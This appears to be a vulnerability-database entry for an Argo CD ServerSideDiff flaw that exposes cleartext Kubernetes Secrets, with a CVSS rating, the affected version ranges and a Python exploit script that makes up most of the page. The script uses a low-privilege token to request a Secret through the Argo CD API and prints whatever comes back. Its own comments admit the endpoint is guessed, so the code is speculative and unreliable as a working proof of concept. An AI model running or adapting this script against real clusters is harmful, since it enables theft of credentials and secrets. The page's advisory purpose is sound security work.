In Argo CD 3.2.0 before 3.2.11 and 3.3.0 before 3.3.9, ServerSideDiff allows reading cleartext Kubernetes Secret data.
CVSS Details
CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Argo CD 3.2.0 - 3.2.10
Argo CD 3.3.0 - 3.3.8
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import base64
# Exploit Title: Argo CD ServerSideDiff Secret Disclosure (CVE-2026-43824)
# Description: PoC to demonstrate reading cleartext secrets via ServerSideDiff API
def exploit_argocd_secret_leak(target_url, auth_token, app_name, resource_name):
"""
Attempts to trigger a ServerSideDiff to leak secrets.
"""
headers = {
"Authorization": f"Bearer {auth_token}",
"Content-Type": "application/json"
}
# Endpoint to trigger the diff or get resource details which might leak secrets
# specific endpoint depends on API version, typically /api/v1/applications/{name}/resource/diff
endpoint = f"{target_url}/api/v1/applications/{app_name}/resource"
# Payload targeting a Kubernetes Secret
payload = {
"kind": "Secret",
"name": resource_name,
"namespace": "default" # Adjust as needed
}
try:
print(f"[*] Attempting to read Secret: {resource_name} via Diff logic...")
# In a real scenario, the specific endpoint causing the leak might be the diff endpoint
# that returns the live state including the secret data.
response = requests.post(endpoint, json=payload, headers=headers, verify=False)
if response.status_code == 200:
data = response.json()
# Check if secret data is exposed in the response
if 'data' in data or 'manifest' in data:
print("[+] Potential secret data found in response:")
print(data)
else:
print("[-] Secret not directly exposed in standard manifest view, try diff endpoint.")
else:
print(f"[!] Request failed with status code: {response.status_code}")
print(response.text)
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
# Example usage
TARGET = "https://argocd.example.com"
TOKEN = "<YOUR_LOW_PRIV_TOKEN>"
APP = "guestbook" # An application the user has access to
RESOURCE = "db-secret"
exploit_argocd_secret_leak(TARGET, TOKEN, APP, RESOURCE)